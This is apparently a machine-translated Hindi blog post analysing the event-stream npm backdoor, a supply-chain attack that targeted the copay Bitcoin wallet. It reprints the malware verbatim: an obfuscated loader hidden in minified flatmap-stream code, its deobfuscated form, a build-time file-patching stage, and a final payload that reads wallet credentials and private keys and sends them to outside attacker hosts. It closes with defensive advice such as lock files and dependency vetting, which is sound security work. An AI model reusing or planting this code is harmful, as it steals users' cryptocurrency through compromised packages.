इवेंट-स्ट्रीम में पिछले दरवाजे की व्याख्या करें

यदि आप जावास्क्रिप्ट के साथ काम करते हैं, तो सबसे अधिक संभावना है कि आपने इवेंट-स्ट्रीम एनपीएम पैकेज में भेद्यता के बारे में बहुत शोर देखा। ( इस बारे में एक पोस्ट भी हैबर पर प्रकाशित हुई थी। ) दुर्भाग्य से, स्थिति का एक विस्तृत विश्लेषण गितुब के मुद्दे पर 600 से अधिक टिप्पणियों के तहत दफन है, जिनमें से अधिकांश एनपीएम की स्थिति के बारे में एक लौ हैं, सामान्य रूप से ओपन-सोर्स। मैंने सोचा कि यह बुरा था, क्योंकि पिछले दरवाजे तकनीकी दृष्टि से असाधारण रूप से स्मार्ट और दिलचस्प हैं, और यह हमें जावास्क्रिप्ट अनुप्रयोगों में सुरक्षा बनाए रखने के बारे में एक महत्वपूर्ण सबक भी सिखाता है। इसलिए मैंने एक विस्तृत विवरण के साथ एक पोस्ट लिखने का फैसला किया कि यह हमला कैसे काम करता है और भविष्य में इस तरह के हमलों के खिलाफ जावास्क्रिप्ट समुदाय बेहतर बचाव कर सकता है।

शुरू करने से पहले, मैं उनकी उत्कृष्ट जांच के लिए FallingSnow , maths22 और joepie91 को धन्यवाद देना चाहता हूं। उन्होंने भेद्यता का विश्लेषण करने और यह पता लगाने की सारी मेहनत की। बाद में पाठ में मैं उनके परिणामों का हवाला देता हूं जो लेखकत्व को दर्शाता है, लेकिन मुझे लगता है कि यह स्पष्ट रूप से इंगित करने योग्य है कि मैंने यह सब काम खुद नहीं किया। मैं बस संक्षेप में बताता हूं कि दूसरों ने क्या पाया है।

प्रागितिहास

ईवेंट-स्ट्रीम एक लोकप्रिय एनपीएम मॉड्यूल है जिसमें नोड.जेएस एप्लिकेशन के अंदर डेटा स्ट्रीम के साथ काम करने के लिए उपयोगिताओं हैं। अब इसे दैनिक रूप से 1.9 मिलियन से अधिक बार डाउनलोड किया जाता है। हालांकि, वह कई वर्षों से सक्रिय विकास में नहीं है। इसका लेखक, डोमिनिक टैर , बड़ी संख्या में अन्य परियोजनाओं का समर्थन करता है और अब व्यक्तिगत परियोजनाओं में इस मॉड्यूल का उपयोग नहीं करता है, इसलिए उसे नजरअंदाज कर दिया गया था।

मध्य सितंबर के आसपास, मॉड्यूल राइट का समर्थन लेने का सुझाव दिया गया right9ctrl (GitHub खाता अब हटा दिया गया है) वाला उपयोगकर्ता। डोमिनिक सहमत हो गया और उसने Github और npm को राइट 9ctrl एक्सेस अधिकार दिया। पहली नज़र में कमिट का इतिहास हानिरहित दिखता है:

गितुब पर इवेंट-स्ट्रीम में प्रतिबद्ध इतिहास का स्क्रीनशॉट

9 सितंबर को, right9ctrl ने एक नया flatmap-stream मॉड्यूल जोड़ा , जो इस पर निर्भर करता है कि event-stream लिए flatmap कार्यक्षमता को लागू करने के लिए (एक उपयुक्त समाधान, क्योंकि इवेंट-स्ट्रीम में पहले से ही समान उपयोगिताओं थी, उदाहरण के लिए, एक नियमित map )। फिर, 16 सितंबर को, right9ctrl ने flatmap-stream निर्भरता को हटा दिया और सीधे flatmap विधि को लागू किया। और फिर से, कुछ भी परेशान नहीं है, एक नई निर्भरता को जोड़ना असामान्य नहीं है, और फिर कुछ दिनों में तय करें कि खुद को एक ही चीज को लागू करने के लिए बेहतर होगा।

आक्रमण

फ़्लैटमैप-स्ट्रीम लाइब्रेरी भी हानिरहित दिखती है - वास्तव में, इसमें डेटा स्ट्रीम के लिए एक फ्लैट मैप का कार्यान्वयन होता है (हालांकि कुछ सावधान रहना चाहिए - लाइब्रेरी का केवल एक योगदानकर्ता है और npm से इस बिंदु तक कोई डाउनलोड नहीं है)।

GitHub पर फ्लैटमैप-स्ट्रीम पृष्ठ का स्क्रीनशॉट

हालाँकि, npm में प्रकाशित इस मॉड्यूल के संस्करण में एक minified फ़ाइल में अतिरिक्त कोड था, जिसे आप शायद नोटिस भी नहीं कर सकते, यह जानते हुए भी कि यह वहाँ है:

 var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

यहां हानिकारक भाग अंत में है, और इसका पता लगाने से बचने के लिए विशेष रूप से बाधित किया गया था:

 !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}(); 

गिथुब के एक अंक में, फॉलिंगस्वन ने बुकमार्क स्रोत कोड को पुनर्स्थापित किया और दिखाया कि वहां क्या चल रहा था:

 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; npm_package_description = process['env']['npm_package_description']; // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

इसलिए, कोड ./test/data.js फ़ाइल को डाउनलोड करता है, जिसे GitHub पर स्रोत कोड की कमी के बावजूद ./test/data.js में प्रकाशित संस्करण में भी एम्बेड किया गया था। इस फ़ाइल में AES256 के माध्यम से एन्क्रिप्ट किए गए तार की एक सरणी है। npm_package_description एनवायरनमेंट npm_package_description कमांड द्वारा सेट किया जाता है जब कोड को कुछ पैकेज के संदर्भ में निष्पादित किया जाता है, अर्थात् रूट पैकेज, जिसमें इवेंट-स्ट्रीम -> फ्लैटमैप-स्ट्रीम निर्भरता श्रृंखला शामिल है, का उपयोग npm_package_description (और अन्य समान चर) सेट करने के लिए किया जाएगा। ( नोट: दूसरे शब्दों में, आपके प्रोजेक्ट का पैकेज। Json फ़ाइल से विवरण जिसमें आपने इस कमांड को निष्पादित किया है ) का उपयोग किया जाएगा । इस प्रकार, कोड कुंजी के रूप में test/data.js का उपयोग करके test/data.js की सामग्री को डिक्रिप्ट करता है, और फिर परिणाम निष्पादित करने का प्रयास करता है।

पैकेट के विशाल बहुमत के लिए, यह एक त्रुटि पैदा करेगा (जो दुर्भावनापूर्ण कोड चुपचाप पकड़ लेगा और अनदेखा करेगा), क्योंकि उनका विवरण AES256 सिफर के लिए सही कुंजी नहीं है और डिक्रिप्शन का परिणाम बकवास होगा। यह एक विशिष्ट पैकेज पर बहुत लक्षित हमला है। maths22 और कुछ अन्य उपयोगकर्ताओं ने npm- मॉड्यूल की एक सूची डाउनलोड की, जो इवेंट-स्ट्रीम पर निर्भर करती है, और इन मॉड्यूल के विवरणों के माध्यम से छंटनी करते हुए, हमने सही कुंजी का चयन किया और लक्ष्य पैकेज पाया: यह कोपे-डैश था , बिटकॉइन पर्स के लिए एक मंच। इसका विवरण, "ए सिक्योर बिटकॉइन वॉलेट", सफलतापूर्वक test/data.js की सामग्री को test/data.js , निम्न कोड दिखा रहा है (कृपया जॉयपी91 द्वारा प्रदान किया गया है ):

 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

यह कोड डिक्रिप्शन का दूसरा स्तर लॉन्च करता है, जिस पर अंतिम दुर्भावनापूर्ण स्क्रिप्ट खुलती है:

 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

जैसा कि आपने अनुमान लगाया होगा, यह स्क्रिप्ट आपके बिटकॉइन वॉलेट को चुराने और हमलावर के सर्वर पर अपना डेटा अपलोड करने की कोशिश कर रही है।

अपडेट किया गया: npm टीम ने अपनी आधिकारिक घटना रिपोर्ट जारी की , जिसमें बताया गया कि एक बिटकॉइन-चोरी की स्क्रिप्ट को कोपे वॉलेट एप्लिकेशन कोड में इंजेक्ट करने के लिए कोप्पे रिलीज़ प्रक्रिया में दुर्भावनापूर्ण कोड लॉन्च किया गया था।

इसलिए संक्षेप में

• लोकप्रिय बिटकॉइन प्लेटफॉर्म copay-dash इवेंट-स्ट्रीम निर्भरता का उपयोग करता है।
• सितंबर में, लगभग एक सप्ताह के लिए, इवेंट-स्ट्रीम में एक फ्लैटमैप-स्ट्रीम निर्भरता शामिल थी, क्योंकि परियोजना को एक नए डेवलपर को स्थानांतरित किया गया था जिसने निर्भरता को जोड़ा और एक सप्ताह बाद इसे हटा दिया।
• फ्लैटमैप-स्ट्रीम में मिनिफ़ाइड कोड के अंत में एक छिपा हुआ टुकड़ा होता है, जो test/data.js कुंजी के रूप में रूट पैकेज के विवरण का उपयोग करके test/data.js से लाइनों को डिकोड करने का प्रयास करता है।
• किसी भी नियमित पैकेज के लिए, इसमें त्रुटि हुई (क्योंकि पैकेज विवरण गलत कुंजी था), जिसे चुपचाप संसाधित किया गया था। लेकिन कोपे-डैश के लिए, डिक्रिप्शन ने मान्य जावास्क्रिप्ट दिया, जिसने डिक्रिप्शन का एक और चरण लॉन्च किया और एक दुर्भावनापूर्ण स्क्रिप्ट को निष्पादित किया जो आपके बिटकॉइन वॉलेट को चुराता है।

अब क्या करें?

यह एक आश्चर्यजनक रूप से चालाक हमला था, एक समान काल्पनिक हमले के वर्णन के साथ, एक जनवरी पोस्ट की दृढ़ता से याद दिलाता है। हमलावर ने कुशलता से अपने पटरियों को बह दिया - गिथब पर कोड और कमिट का इतिहास एक हानिरहित और संदिग्ध स्थिति दिखाता है (नया डेवलपर परियोजना में शामिल होता है, एक सुविधा जोड़ता है, और फिर इसके कार्यान्वयन को थोड़ा बदल देता है)। फ्लैटमैप-स्ट्रीम (नए पैकेज, कोई योगदानकर्ताओं और डाउनलोड आंकड़े) में संदिग्ध संकेतों के अलावा, हमला लगभग अदृश्य हो गया। और वास्तव में, यह 2 महीने तक पता नहीं चला था और अब केवल इसलिए पाया गया क्योंकि हमलावर ने crypto.createDecipher बजाय पुरानी crypto.createDecipher विधि का उपयोग करते हुए एक छोटी सी गलती की, जिससे एक अन्य लाइब्रेरी में पुरानी पद्धति का उपयोग करने के बारे में एक संदिग्ध संदेश मिला, जो इवेंट-स्ट्रीम का उपयोग करता है।

दुर्भाग्य से, इस प्रकार के हमले हमें निकट भविष्य में नहीं छोड़ेंगे। जावास्क्रिप्ट इस समय सबसे लोकप्रिय भाषा है , जिसका अर्थ है कि यह हैकर्स के लिए एक आकर्षक लक्ष्य बना रहेगा। अन्य भाषाओं की तुलना में मानक पुस्तकालय में जावास्क्रिप्ट की अपेक्षाकृत कम कार्यक्षमता होती है, जो डेवलपर्स को npm से संकुल का उपयोग करने के लिए मजबूर करती है - अन्य सांस्कृतिक कारकों के साथ, यह इस तथ्य की ओर जाता है कि जावास्क्रिप्ट परियोजनाओं में आमतौर पर एक विशाल निर्भरता वृक्ष होता है।

यह ध्यान देने योग्य है कि हालांकि जावास्क्रिप्ट अनुप्रयोग कमजोरियों के इस वर्ग के लिए अधिक प्रवण हैं, लेकिन यह जरूरी नहीं है कि जावास्क्रिप्ट सामान्य रूप से कम सुरक्षित हो। जावास्क्रिप्ट का उपयोग आमतौर पर अधिक सक्रिय डेवलपर्स द्वारा किया जाता है जो प्रगति की लहर पर होने की कोशिश कर रहे हैं, अर्थात, उनके उपयोगकर्ता सुरक्षा फ़िक्सेस सहित अधिक पैकेज और अपडेट स्थापित करते हैं। इसी समय, इक्विक्सैक्स के जावा एप्लिकेशन को सटीक विपरीत कारण के लिए हैक किया गया था - उन्होंने महीनों तक अपाचे स्ट्रट्स के लिए सुरक्षा अपडेट स्थापित नहीं किया था । जावास्क्रिप्ट अनुप्रयोगों में इस तरह की भेद्यता की संभावना कम होती है। अंत में, जब किसी कंपनी के लिए तकनीकी स्टैक चुनते हैं, तो सुरक्षा प्रश्न हमेशा उठता है। एक महत्वपूर्ण सबक आपके विशेष निर्णय और उन्हें पूर्वानुमानित करने की क्षमता के लिए संभावित हमले परिदृश्यों को समझेगा।

जावास्क्रिप्ट स्टैक के लिए इसका क्या मतलब है? विचारों और सुझावों की कोई कमी नहीं है कि कैसे npm या अन्य समुदाय इस तरह के हमलों को रोक सकते हैं। लेकिन अंतिम उपयोगकर्ताओं के लिए, आपके जोखिमों को कम करने के लिए कम से कम दो बुनियादी कदम हैं:

• लॉक फ़ाइलों का उपयोग करें । इससे कोई फर्क नहीं पड़ता कि यह यार्न है ।lock या package-lock.json, कोई भी लॉक-फ़ाइल गारंटी देता है कि आपको हर इंस्टॉलेशन के साथ पैकेज के एक ही संस्करण प्राप्त होंगे, यानी यदि आप आज सुरक्षित हैं, तो आप कल भी वही रहेंगे। लॉक फ़ाइलों का उपयोग किए बिना फ्लोटिंग निर्भरता का अभ्यास करने वाले एप्लिकेशन विशेष रूप से दुर्भावनापूर्ण अपडेट के लिए कमजोर होते हैं, क्योंकि वे स्वचालित रूप से निर्भरता के नवीनतम उपलब्ध संस्करण को स्थापित करते हैं, अर्थात, आपकी एक निर्भरता के साथ समझौता किए जाने और प्रकाशित होने के बाद आपको हर परिनियोजन के साथ समझौता किया जा सकता है भेद्यता के साथ संस्करण। लॉक फ़ाइलों के साथ, आप अपने जोखिमों को कम से कम उन डेवलपर्स के मैनुअल कार्यों के लिए सीमित करेंगे जो पैकेज जोड़ते और अपडेट करते हैं, जिन्हें कोड समीक्षा या अन्य कंपनी नीतियों द्वारा डबल-चेक किया जा सकता है।

  
  

• कुछ डालने से पहले सोचें । जैसा कि ऊपर दिखाया गया है, यह एक रामबाण नहीं है, हैकर्स अभी भी माइनिफ़ाइड कोड में बुकमार्क के माध्यम से पर्ची कर सकते हैं जो ढूंढना मुश्किल है, भले ही आप जानते हों कि वे वहां हैं। लेकिन कम नहीं, आप अपने जोखिम को कम कर सकते हैं यदि आप लोकप्रिय और सक्रिय रूप से समर्थित पैकेज से चिपके रहते हैं। एक नई लत स्थापित करने से पहले, पहले खुद से पूछें कि क्या आपको वास्तव में इसकी आवश्यकता है। यदि आप पहले से ही जानते हैं कि कोड कैसे लिखना है, और यह एक दर्जन से अधिक लाइनें नहीं लेता है, तो बस इसे स्वयं लिखें। यदि आपको अभी भी एक निर्भरता की आवश्यकता है, तो स्थापना से पहले इसका मूल्यांकन करें। Npm पर उसके कितने डाउनलोड हैं? क्या गीथब पर भंडार सक्रिय रूप से अद्यतन दिखता है? क्या पैकेज को हाल ही में अपडेट किया गया है? यदि नहीं, तो फोर्किंग और इसका उपयोग करने पर विचार करें। इससे जोखिम कम हो जाएंगे, क्योंकि आप भविष्य के खतरनाक अपडेट के संपर्क में नहीं आएंगे, आप स्रोत कोड को स्वयं पढ़ और छोटा कर पाएंगे और सुनिश्चित कर पाएंगे कि इसमें वास्तव में शामिल है और करता है।